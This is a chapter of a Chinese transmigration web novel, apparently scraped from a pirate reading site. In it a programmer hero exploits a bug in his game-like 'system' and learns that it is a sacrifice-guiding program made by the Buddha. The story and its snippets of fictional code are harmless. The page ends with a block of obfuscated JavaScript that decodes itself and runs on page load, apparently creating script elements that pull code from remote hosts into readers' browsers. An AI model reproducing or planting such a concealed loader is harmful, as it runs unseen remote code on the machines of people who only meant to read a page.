首页
第一百零五章 小诡异常
返回

第一百零五章 小诡异常

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第一百零五章小诡异常(第1/2页)
    接下来的几天,队伍一直在凝固荒原中穿行。
    陆仁表面上一切如常,和平时一样跟队友们聊天、吐槽、制定路线。但他的心里一直在思考代码僧留下的那行字。
    不要相信小诡。
    它是献祭引导程序。
    它会引导你走完取经路,然后在终点将你献祭。
    每一条都让他不寒而栗。
    作为一个程序员,他太了解引导程序是什么了。
    在软件开发中,引导程序(bootloader)的作用是初始化系统、加载核心程序、然后将控制权交给核心程序。它存在的目的不是自己运行,而是为了启动另一个程序。
    如果小诡是引导程序,那它要引导的核心程序是什么?
    答案显而易见
    它要引导的,是陆仁自己的献祭。
    代码僧说,系统会引导宿主走完取经路,然后在终点将宿主献祭。
    所谓取经路,就是陆仁从穿越以来一直在做的事情组建队伍,一路西行,然后转向北方,前往幽冥血海。
    但如果这一切都是系统设计好的路线,那他一直在被引导。
    这个念头让陆仁感到一阵恶心。
    他开始回想自己来到这个世界后的每一个决定
    组建队伍,是系统引导的。
    西行之路,是系统规划的。
    遇到每一个队友,是系统推荐的。
    现在转向北方前往血海,也是系统建议的。
    如果去掉系统的建议,他还会走这条路吗?
    也许会,也许不会。
    但问题是,他从来没有真正独立做过任何决定。
    每一个关键节点的选择,都有系统的影子。
    就像一个被牵着线的木偶,以为自己在自由行走,实际上每一步都在别人的掌控之中。
    陆仁决定做一件事查看系统的核心代码。
    作为一个程序员,他曾经想过要破解系统的权限,但一直觉得没必要。但现在,他必须这么做。
    问题是,怎么查看?
    直接问小诡肯定不行,小诡不会让他看到那些信息。
    但陆仁有一个优势他是程序员,他懂得如何利用bug。
    任何系统都有bug,小诡的系统也不例外。
    他需要找到一个漏洞,绕过系统的安全协议,直接读取核心代码。
    这天晚上,队伍再次在岩洞中过夜。
    陆仁确认其他人睡着之后,开始了他第一次系统入侵尝试。
    小诡,显示系统设置面板。
    【好的。】系统面板弹了出来,上面是常规的设置选项通知偏好、界面风格、声音效果、语言设置等等。
    陆仁不动声色地在面板上操作着,同时用另一只手在脑海中构思他的入侵方案。
    他的方案是这样的
    小诡的系统面板本质上是一个UI界面,UI界面背后是后端代码。如果他能触发一个UI渲染错误,就有可能看到面板背后的原始代码。
    这就像在网页上找一个XSS漏洞一样。
    陆仁回忆起之前使用系统时发现的一个小bug当他在系统面板上同时打开两个弹窗时,面板会出现短暂的闪烁。
    这个闪烁意味着什么?意味着两个弹窗在争夺渲染资源时产生了冲突,导致面板暴露了一瞬间的底层代码。
    陆仁之前忽略了这个bug,但现在他觉得这是一个突破口。
    小诡,打开任务面板。
    【好的。】任务面板弹了出来。
    打开商店面板。
    【好的。】商店面板也弹了出来。
    现在同时打开任务面板和商店面板。
    【指令有冲突,请关闭一个面板后再打开另一个。】
    果然,系统不允许同时打开两个面板。
    但陆仁并不打算放弃如果同时打开两个面板不行,那快速切换呢?
    他开始以极快的速度在任务面板和商店面板之间切换打开任务面板,关闭,打开商店面板,关闭,再打开任务面板……
    面板开始闪烁了。
    陆仁在闪烁的瞬间睁大了眼睛,试图捕捉那些一闪而过的代码片段。
    第一次尝试,他什么都没看到。
    第二次,他隐约看到一行绿色的字符。
    第三次,他看到了更多。
    但信息量太大了,他的大脑来不及处理。
    陆仁深吸一口气,决定换一个策略。
    他不再快速切换面板,而是在切换的瞬间,同时向小诡发送一个信息查询请求。
    这个查询请求是:显示系统的版本号。
    版本号信息是低安全级别的,系统不会拒绝。但当系统处理这个请求时,会占用一部分计算资源,导致面板渲染的性能进一步下降,闪烁的时间会更长。
    小诡,显示系统版本号。
    【系统版本:诡异生存指南v8.7.2。当前为最新版本。】
    在显示版本号的同时,陆仁再次快速切换面板。
    这一次,面板闪烁了整整两秒钟。
    在那两秒钟里,陆仁看到了大量的原始代码。
    他的大脑飞速运转,拼命记忆那些代码片段
    functioninitHost(hostData){…}
    varguideProtocol=newGuideProtocol(hostData);
    guideProtocol.setFinalTarget(“BLOOD_SEA_SACRIFICE“);
    //ENCRYPTED:最终目标引导宿主到达血海中心,完成献祭仪式
    //NOTE:献祭完成后,系统将自动解绑,宿主灵魂将被吸收
    //NOTE:此代码段已被加密,宿主不可读取
    //NOTE:如宿主成功读取此代码段,说明安全协议存在漏洞,需立即修复
    (本章未完,请点击下一页继续阅读)第一百零五章小诡异常(第2/2页)
    //WARNING:修复程序尚未编写
    //WARNING:修复程序编写者如来
    陆仁的血液瞬间冷了下来。
    他看到了什么?
    最终目标引导宿主到达血海中心,完成献祭仪式。
    献祭完成后,系统将自动解绑,宿主灵魂将被吸收。
    此代码段已被加密,宿主不可读取。
    修复程序编写者如来。
    如来!
    系统的制造者,是如来佛祖!
    陆仁终于明白了所有的一切
    这个系统,不是什么生存指南。
    它是如来制造的献祭引导程序。
    它的目的从一开始就只有一个引导穿越者走完一条预设的路线,最终到达血海中心,将自己的灵魂献祭。
    而他,陆仁,从穿越到这个世界的那一刻起,就已经被这个程序锁定了。
    代码僧发现了这一点,试图阻止,但失败了。
    现在,陆仁也发现了这一点。
    但他能怎么做?
    他深吸一口气,强迫自己冷静下来。
    冷静。冷静。冷静。
    他是一个996程序员,写过硬核代码,debug过最恶心的bug。他不会因为一个系统的漏洞就崩溃。
    先理清思路。
    第一,系统的核心目的是引导他到达血海中心完成献祭。这意味着系统给出的所有建议都指向这一个最终目标。
    第二,代码僧也是穿越者,也发现了这一点,被封在了时间结晶里。他的状态是失踪,说明他可能没有被直接杀死,而是被结晶封住后,系统就跟他断开了连接。
    第三,系统的安全协议有漏洞。他刚才成功读取了加密代码段的一部分。但代码中也提到修复程序尚未编写,说明这个漏洞是永久性的。
    第四,代码段中提到的如来,是系统的制造者。这意味着如来从一开始就知道穿越者的存在,并且设计了系统来利用穿越者。
    陆仁抬起头,看向岩洞顶部的黑暗。
    小诡。他在脑海中轻声说。
    【在。请问有什么可以帮助宿主的?】
    声音一如既往的平静、礼貌、毫无波澜。
    你在听我们的对话吗?
    【系统精灵始终处于在线状态,可以随时响应宿主需求。】
    我问的是,你有没有在监控我的思维?
    系统面板沉默了三秒
    【系统精灵不具备直接读取宿主思维的能力。系统仅通过宿主的语音指令、面板操作以及生理数据来获取信息。】
    这个回答很官方,但也意味着系统可以通过他的语音、操作和生理数据来间接了解他的想法。
    他刚才在看到加密代码时的生理反应心跳加速、瞳孔收缩、皮肤电导变化系统很可能已经检测到了。
    小诡,你检测到我的生理数据异常了吗?
    【是的。宿主刚才出现了短暂的心跳加速和瞳孔收缩,系统判断宿主可能受到了某种惊吓。是否需要启动心理安抚程序?】
    不用了。陆仁压下心中的恐惧,只是做了一个噩梦,现在没事了。
    【好的。建议宿主注意休息,保持良好的身心状态。】
    陆仁闭上眼睛,不再说话。
    他知道,从现在开始,他面对的不只是诡异西游世界的怪物和危险。
    他还要面对自己身上的系统。
    一个由如来制造的、以他的灵魂为最终目标的系统。
    而他不能让小诡知道他已经发现了这一切。
    至少,现在不能。
    陆仁在黑暗中睁开了眼睛,盯着岩洞顶部。
    如来。他在心里默念这个名字。
    你到底想干什么?
    陆仁闭上眼睛,强迫自己进入一种半休眠的状态。
    他不能让小诡检测到他的情绪波动。刚才读取加密代码时的心跳加速已经引起了系统的注意,他必须表现得一切正常。
    正常。
    多么讽刺的一个词。
    他现在的处境,和正常没有半点关系。穿越到诡异西游世界已经够离谱了,现在还发现自己的系统是一个献祭引导程序,制造者是如来佛祖。
    如果这是一部电影,观众大概会觉得编剧在强行反转。
    但这是他的现实。
    陆仁在心里列了一个清单。
    已知信息:系统是如来制造的献祭引导程序,目的是引导穿越者到达血海中心,用灵魂献祭来修复时间之树。前七位穿越者都失败了,他是第八位,也是最后一个。代码僧是第七位穿越者,他发现了真相但被系统封在了时间结晶里。
    未知信息:系统的具体防御机制是什么?自动执行模式什么时候启动?有没有办法关闭神经接口?除了灵魂献祭,还有没有其他方法修复时间之树?
    太多了。未知的比已知的多得多。
    但陆仁不怕未知。作为一个程序员,他每天都在和未知打交道。每一个新项目,每一个新bug,每一个新需求,都是未知。
    解决未知的唯一方法,就是一步一步地去探索,去试错,去验证。
    他不会像代码僧那样冲动地试图访问核心数据库,那太危险了。他要温水煮青蛙,一点一点地收集信息,一点一点地寻找漏洞,直到找到那个能彻底翻盘的bug。
    夜深了,岩洞里只剩下猪八戒的鼾声和远处风穿过结晶的呜咽声。
    陆仁睁开眼,看着漆黑的洞顶。
    如来,你想用我的灵魂修你的树?
    做梦。
    老子是996程序员,这辈子被人白嫖得够多了。到了异世界还想白嫖我的灵魂?
    没门。
    他的嘴角微微上扬,露出一个连他自己都觉得有些疯狂的笑容。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();